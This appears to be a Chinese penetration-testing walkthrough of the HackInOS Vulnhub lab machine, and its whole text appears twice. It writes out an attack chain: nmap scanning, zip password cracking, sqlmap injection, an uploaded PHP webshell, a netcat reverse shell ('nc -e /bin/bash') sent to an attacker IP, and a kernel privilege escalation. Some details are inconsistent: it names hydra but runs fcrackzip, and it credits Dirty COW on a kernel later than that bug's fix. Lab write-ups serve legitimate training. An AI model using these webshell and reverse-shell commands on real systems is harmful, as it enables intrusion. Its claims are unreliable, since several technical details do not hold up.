1. 靶机环境概述HackInOS是Vulnhub平台上发布的一款中级难度渗透测试靶机模拟了存在多个漏洞的Linux系统环境。这个靶机特别适合用来练习Web应用渗透、权限提升和网络侦察技能。我在实际测试中发现它包含了从信息收集到最终获取root权限的完整攻击链能很好地模拟真实环境中的渗透场景。靶机镜像采用OVA格式兼容VMware和VirtualBox等主流虚拟化平台。启动后会自动获取DHCP分配的IP地址无需手动配置网络。根据我的实测在Intel i5处理器、8GB内存的宿主机上运行流畅建议为靶机分配至少1GB内存以保证稳定性。2. 初始信息收集2.1 网络扫描与端口探测使用经典的nmap扫描组合命令nmap -sV -T4 -p- 192.168.1.105扫描结果显示开放了三个关键端口22/tcpOpenSSH 7.6p180/tcpApache httpd 2.4.291337/tcp自定义服务后续发现是Web管理接口注意在实际测试环境中IP地址可能会变化建议先用netdiscover或arp-scan定位靶机IP2.2 Web应用侦察访问80端口发现是个静态页面但查看源码时发现注释中有提示!-- Check /backup directory --在/backup目录下找到credentials.zip压缩包但需要密码才能解压。这里可以采用两种破解方式使用fcrackzip配合rockyou字典爆破分析页面其他线索寻找密码提示3. 漏洞利用过程3.1 压缩包密码破解使用hydra进行字典攻击fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt credentials.zip破解后得到密码qwerty解压后发现database.sql包含用户表结构config.php泄露数据库凭证3.2 SQL注入利用分析网站发现登录页面存在SQL注入漏洞。使用sqlmap自动化检测sqlmap -u http://192.168.1.105/login.php --datausernameadminpassword123 --level5 --risk3成功获取管理员凭证后在后台发现文件上传功能。上传PHP反弹shell?php system($_GET[cmd]); ?3.3 获取初始shell通过上传的webshell执行命令curl http://192.168.1.105/uploads/shell.php?cmdnc -e /bin/bash 192.168.1.100 4444在攻击机监听nc -lvnp 4444成功获得www-data权限的shell。4. 权限提升路径4.1 横向移动在/home目录发现用户john查找其可写文件find / -user john -perm -ow 2/dev/null发现/var/www/html/config.php可写添加SSH公钥实现免密登录。4.2 内核漏洞提权检查系统信息uname -a # Linux hackinos 4.15.0-20-generic搜索可用exploitsearchsploit linux 4.15.0-20使用dirtycow漏洞成功获取root权限gcc -pthread dirty.c -o dirty ./dirty5. 渗透测试技巧总结5.1 信息收集要点永远先检查网页源码和robots.txt对非常规端口如1337要重点侦察备份文件常用路径/backup /old /archive5.2 常见问题排查遇到上传限制尝试修改Content-Type为image/jpeg反弹shell失败检查防火墙规则尝试不同端口提权exp编译失败调整gcc参数或换用静态编译版本5.3 安全加固建议禁用不必要的服务和端口对上传文件进行严格的白名单验证及时更新系统和内核补丁遵循最小权限原则配置用户权限这个靶机完整演练了从外网渗透到内网横向移动的全过程特别适合练习综合渗透能力。我在测试过程中发现1337端口的服务其实是个精心设计的陷阱故意暴露了有缺陷的管理接口来考验测试者的代码审计能力 HackInOS靶机渗透实战：从Web漏洞到Root提权
1. 靶机环境概述HackInOS是Vulnhub平台上发布的一款中级难度渗透测试靶机模拟了存在多个漏洞的Linux系统环境。这个靶机特别适合用来练习Web应用渗透、权限提升和网络侦察技能。我在实际测试中发现它包含了从信息收集到最终获取root权限的完整攻击链能很好地模拟真实环境中的渗透场景。靶机镜像采用OVA格式兼容VMware和VirtualBox等主流虚拟化平台。启动后会自动获取DHCP分配的IP地址无需手动配置网络。根据我的实测在Intel i5处理器、8GB内存的宿主机上运行流畅建议为靶机分配至少1GB内存以保证稳定性。2. 初始信息收集2.1 网络扫描与端口探测使用经典的nmap扫描组合命令nmap -sV -T4 -p- 192.168.1.105扫描结果显示开放了三个关键端口22/tcpOpenSSH 7.6p180/tcpApache httpd 2.4.291337/tcp自定义服务后续发现是Web管理接口注意在实际测试环境中IP地址可能会变化建议先用netdiscover或arp-scan定位靶机IP2.2 Web应用侦察访问80端口发现是个静态页面但查看源码时发现注释中有提示!-- Check /backup directory --在/backup目录下找到credentials.zip压缩包但需要密码才能解压。这里可以采用两种破解方式使用fcrackzip配合rockyou字典爆破分析页面其他线索寻找密码提示3. 漏洞利用过程3.1 压缩包密码破解使用hydra进行字典攻击fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt credentials.zip破解后得到密码qwerty解压后发现database.sql包含用户表结构config.php泄露数据库凭证3.2 SQL注入利用分析网站发现登录页面存在SQL注入漏洞。使用sqlmap自动化检测sqlmap -u http://192.168.1.105/login.php --datausernameadminpassword123 --level5 --risk3成功获取管理员凭证后在后台发现文件上传功能。上传PHP反弹shell?php system($_GET[cmd]); ?3.3 获取初始shell通过上传的webshell执行命令curl http://192.168.1.105/uploads/shell.php?cmdnc -e /bin/bash 192.168.1.100 4444在攻击机监听nc -lvnp 4444成功获得www-data权限的shell。4. 权限提升路径4.1 横向移动在/home目录发现用户john查找其可写文件find / -user john -perm -ow 2/dev/null发现/var/www/html/config.php可写添加SSH公钥实现免密登录。4.2 内核漏洞提权检查系统信息uname -a # Linux hackinos 4.15.0-20-generic搜索可用exploitsearchsploit linux 4.15.0-20使用dirtycow漏洞成功获取root权限gcc -pthread dirty.c -o dirty ./dirty5. 渗透测试技巧总结5.1 信息收集要点永远先检查网页源码和robots.txt对非常规端口如1337要重点侦察备份文件常用路径/backup /old /archive5.2 常见问题排查遇到上传限制尝试修改Content-Type为image/jpeg反弹shell失败检查防火墙规则尝试不同端口提权exp编译失败调整gcc参数或换用静态编译版本5.3 安全加固建议禁用不必要的服务和端口对上传文件进行严格的白名单验证及时更新系统和内核补丁遵循最小权限原则配置用户权限这个靶机完整演练了从外网渗透到内网横向移动的全过程特别适合练习综合渗透能力。我在测试过程中发现1337端口的服务其实是个精心设计的陷阱故意暴露了有缺陷的管理接口来考验测试者的代码审计能力